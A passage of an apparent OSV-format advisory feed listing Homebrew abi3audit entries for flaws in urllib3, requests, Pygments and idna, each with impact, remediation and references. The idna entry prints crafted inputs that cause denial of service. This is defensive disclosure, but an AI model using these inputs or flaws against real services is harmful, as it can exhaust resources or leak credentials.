to achieve safe processing of the `Proxy-Authorization` header, but we still decided to strip the header by default in order to further protect users who aren't using the correct approach.\n\n## Affected usages\n\nWe believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:\n\n* Setting the `Proxy-Authorization` header without using urllib3's built-in proxy support.\n* Not disabling HTTP redirects.\n* Either not using an HTTPS origin server or for the proxy or target origin to redirect to a malicious origin.\n\n## Remediation\n\n* Using the `Proxy-Authorization` header with urllib3's `ProxyManager`.\n* Disabling HTTP redirects using `redirects=False` when sending requests.\n* Not using the `Proxy-Authorization` header.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-34jh-p97f-mpxf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37891"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/40b6d1605814dd1db0a46e202d6e56f2e4c9a468"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/accff72ecc2f6cf5a76d9570198a93ac7c90270e"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240822-0003"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/proxy-authorization-header-handling-vulnerability-in-urllib3-cve-2024-37891"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2024-47081","published":"2026-08-13T16:34:56Z","modified":"2026-10-21T09:12:11Z","upstream":["GHSA-9hjg-9r4m-mvj7","CVE-2024-47081","PYSEC-2026-1872"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.8"},{"fixed":"0.0.21_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.4","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests vulnerable to .netrc credentials leak via malicious URLs","details":"### Impact\n\nDue to a URL parsing issue, Requests releases prior to 2.32.4 may leak .netrc credentials to third parties for specific maliciously-crafted URLs.\n\n### Workarounds\nFor older versions of Requests, use of the .netrc file can be disabled with `trust_env=False` on your Requests Session ([docs](https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env)).\n\n### References\nhttps://github.com/psf/requests/pull/6965\nhttps://seclists.org/fulldisclosure/2025/Jun/2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47081"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6965"},{"type":"WEB","url":"https://github.com/psf/requests/commit/96ba401c1296ab1dda74a2365ef36d88f7d144ef"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.32.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2026-1872.yaml"},{"type":"WEB","url":"https://pypi.org/project/requests"},{"type":"WEB","url":"https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env"},{"type":"WEB","url":"https://seclists.org/fulldisclosure/2025/Jun/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/11"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/9"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/1"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/6"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2025-50181","published":"2026-08-13T16:34:56Z","modified":"2026-10-08T00:42:45Z","upstream":["GHSA-pq67-6m6q-mj2v","CVE-2025-50181","PYSEC-2026-1999"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.8"},{"fixed":"0.0.21_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 redirects are not disabled when retries are disabled on PoolManager instantiation","details":"urllib3 handles redirects and retries using the same mechanism, which is controlled by the `Retry` object. The most common way to disable redirects is at the request level, as follows:\n\n```python\nresp = urllib3.request(\"GET\", \"https://httpbin.org/redirect/1\", redirect=False)\nprint(resp.status)\n# 302\n```\n\nHowever, it is also possible to disable redirects, for all requests, by instantiating a `PoolManager` and specifying `retries` in a way that disable redirects:\n\n```python\nimport urllib3\n\nhttp = urllib3.PoolManager(retries=0)  # should raise MaxRetryError on redirect\nhttp = urllib3.PoolManager(retries=urllib3.Retry(redirect=0))  # equivalent to the above\nhttp = urllib3.PoolManager(retries=False)  # should return the first response\n\nresp = http.request(\"GET\", \"https://httpbin.org/redirect/1\")\n```\n\nHowever, the `retries` parameter is currently ignored, which means all the above examples don't disable redirects.\n\n## Affected usages\n\nPassing `retries` on `PoolManager` instantiation to disable redirects or restrict their number.\n\nBy default, requests and botocore users are not affected.\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects at the PoolManager level will remain vulnerable.\n\n## Remediation\n\nYou can remediate this vulnerability with the following steps:\n\n * Upgrade to a patched version of urllib3. If your organization would benefit from the continued support of urllib3 1.x, please contact [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com) to discuss sponsorship or contribution opportunities.\n * Disable redirects at the `request()` level instead of the `PoolManager()` level.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-pq67-6m6q-mj2v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50181"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/f05b1329126d5be6de501f9d1e3e36738bc08857"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2025-66418","published":"2026-08-13T16:34:56Z","modified":"2026-10-08T00:42:45Z","upstream":["GHSA-gm62-xv2j-4w53","CVE-2025-66418","PYSEC-2026-1998"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.8"},{"fixed":"0.0.24_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 allows an unbounded number of links in the decompression chain","details":"## Impact\n\nurllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., `Content-Encoding: gzip, zstd`).\n\nHowever, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.\n\n\n## Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.\n\n\n## Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.\n\nIf upgrading is not immediately possible, use [`preload_content=False`](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) and ensure that `resp.headers[\"content-encoding\"]` contains a safe number of encodings before reading the response content.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66418"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/24d7b67eac89f94e11003424bcf0d8f7b72222a8"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2025-66471","published":"2026-08-13T16:34:56Z","modified":"2026-10-08T00:42:45Z","upstream":["GHSA-2xpw-w6gg-jr37","CVE-2025-66471","PYSEC-2026-1994"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.8"},{"fixed":"0.0.24_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 streaming API improperly handles highly compressed data","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nWhen streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.\n\nThe decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.\n\n`stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`, `readinto(b)` are examples of `urllib3.HTTPResponse` method calls using the affected logic unless decoding is disabled explicitly.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.\n\nIf your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the `urllib3[brotli]` extra in the patched versions of urllib3.\n\n\n### Credits\n\nThe issue was reported by @Cycloctane.\nSupplemental information was provided by @stamparm during a security audit performed by [7ASecurity](https://7asecurity.com/) and facilitated by [OSTIF](https://ostif.org/).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66471"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/d0fde3672e4a4093f7587858dccfc298eb66e46c"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-1994.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://pypi.org/project/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2026-21441","published":"2026-08-13T16:34:56Z","modified":"2026-10-08T00:42:45Z","upstream":["GHSA-38jv-5279-wg99","CVE-2026-21441","PYSEC-2026-1996"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.8"},{"fixed":"0.0.25_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.3","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when `preload_content=False`.\n\nIf upgrading is not immediately possible, disable [redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests) by setting `redirect=False` for requests to untrusted source.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21441"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/01/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2026-25645","published":"2026-08-13T16:34:56Z","modified":"2026-10-08T00:42:45Z","upstream":["GHSA-gc5v-m9x4-r6x2","CVE-2026-25645","PYSEC-2026-2275"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.8"},{"fixed":"0.0.26_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.33.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests has Insecure Temp File Reuse in its extract_zipped_paths() utility function","details":"### Impact\nThe `requests.utils.extract_zipped_paths()` utility function uses a predictable filename when extracting files from zip archives into the system temporary directory. If the target file already exists, it is reused without validation. A local attacker with write access to the temp directory could pre-create a malicious file that would be loaded in place of the legitimate one.\n\n### Affected usages\n**Standard usage of the Requests library is not affected by this vulnerability.** Only applications that call `extract_zipped_paths()` directly are impacted.\n\n### Remediation\nUpgrade to at least Requests 2.33.0, where the library now extracts files to a non-deterministic location.\n\nIf developers are unable to upgrade, they can set `TMPDIR` in their environment to a directory with restricted write access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-gc5v-m9x4-r6x2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25645"},{"type":"WEB","url":"https://github.com/psf/requests/commit/66d21cb07bd6255b1280291c4fafb71803cdb3b7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.33.0"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2026-44431","published":"2026-08-13T16:34:56Z","modified":"2026-10-08T00:42:45Z","upstream":["GHSA-qccp-gfcp-xxvc","CVE-2026-44431","PYSEC-2026-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.8"},{"fixed":"0.0.26_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Sensitive headers forwarded across origins in proxied low-level redirects","details":"### Impact\n\nWhen following cross-origin redirects for requests made using urllib3’s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers — `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) — are stripped by default, as expected.\n\nHowever, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers.\n\n### Affected usage\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`.\n\n### Remediation\n\nUpgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`.\n\nIf upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44431"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2026-44432","published":"2026-08-13T16:34:56Z","modified":"2026-10-02T10:17:56Z","upstream":["GHSA-mf9v-mfxr-j63j","CVE-2026-44432","PYSEC-2026-142"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.24_1"},{"fixed":"0.0.26_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Decompression-bomb safeguards bypassed in parts of the streaming API","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API since version 2.6.0, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, urllib3 before version 2.7.0 could still decompress the whole response instead of the requested portion in two cases:\n1. During the second `HTTPResponse.read(amt=N)` call when the response was decompressed using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. When `HTTPResponse.drain_conn()` was called after the response had been read and decompressed partially (compression algorithm did not matter here).\n\nThese issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected when streaming compressed responses from untrusted sources in either of these cases, unless decompression is explicitly disabled:\n\n1. A response encoded with `br` is read incrementally with at least two `HTTPResponse.read(amt=N)` or `HTTPResponse.stream(amt=N)` calls while using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. `HTTPResponse.drain_conn()` is called after response decompression has already started.\n\n\n### Remediation\n\nUpgrade to at least urllib3 version 2.7.0 in which the library:\n1. Is more efficient for reads with Brotli.\n2. Always skips decompression for `HTTPResponse.drain_conn()`.\n\nIf upgrading is not immediately possible, the following workarounds may reduce exposure in specific cases:\n1. For the Brotli-specific issue only, switch from [brotli](https://pypi.org/project/brotli/) to [brotlicffi](https://pypi.org/project/brotlicffi/) until you can upgrade urllib3; the official Brotli package is affected because of https://github.com/google/brotli/issues/1396.\n2. If your code explicitly calls `HTTPResponse.drain_conn()`, call `HTTPResponse.close()` instead when connection reuse is not important.\n\n\n### Credits\n\nThe Brotli-specific issue was reported by @kimkou2024.\n`HTTPResponse.drain_conn()` inefficiency was reported by @Cycloctane.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44432"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-142.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2026-4539","published":"2026-08-13T16:34:56Z","modified":"2026-10-08T00:42:45Z","upstream":["GHSA-5239-wwwm-4pmq","CVE-2026-4539","PYSEC-2026-2987"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.9"},{"fixed":"0.0.26_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.20.0","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.21.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.21.0","key":"pkg:pypi/pygments@2.21.0","resource":"pygments"}]},"summary":"Pygments has Regular Expression Denial of Service (ReDoS) due to Inefficient Regex for GUID Matching","details":"A security flaw has been discovered in pygments before 2.20.0. The impacted element is the function AdlLexer of the file pygments/lexers/archetype.py. The manipulation results in inefficient regular expression complexity. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4539"},{"type":"WEB","url":"https://github.com/pygments/pygments/issues/3058"},{"type":"WEB","url":"https://github.com/pygments/pygments/pull/3064"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/24b8aa76c6cd6d70f39c6dd605cce319c98e2ccc"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pygments/pygments/releases/tag/2.20.0"},{"type":"WEB","url":"https://vuldb.com/?ctiid.352327"},{"type":"WEB","url":"https://vuldb.com/?id.352327"},{"type":"WEB","url":"https://vuldb.com/?submit.774685"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2026-45409","published":"2026-08-13T16:34:56Z","modified":"2026-10-08T00:42:44Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.8"},{"fixed":"0.0.26_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.20"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.20","key":"pkg:pypi/idna@3.20","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2026-97687","published":"2026-10-04T12:11:05Z","modified":"2026-10-04T12:11:05Z","upstream":["GHSA-8988-9cw3-xx77","CVE-2026-97687","PYSEC-2026-4175"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.8"},{"fixed":"0.0.26_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: HTTPS proxy TLS configuration may be ignored or overridden","details":"## Impact\n\nurllib3 supports configuring TLS independently for an HTTPS proxy and the target server.\n\n`proxy_ssl_context`, `proxy_assert_hostname`, and `proxy_assert_fingerprint` configure the TLS connection to the proxy. `ssl_context` and the other target-specific TLS parameters configure the connection to the target server.\n\nIn urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could:\n\n1. Ignore `proxy_ssl_context` and use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy.\n2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy.\n3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy.\n\nIn particular, configuring `cert_reqs=\"CERT_NONE\"` for a target server could overwrite the `verify_mode` of the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context.\n\nAn attacker able to 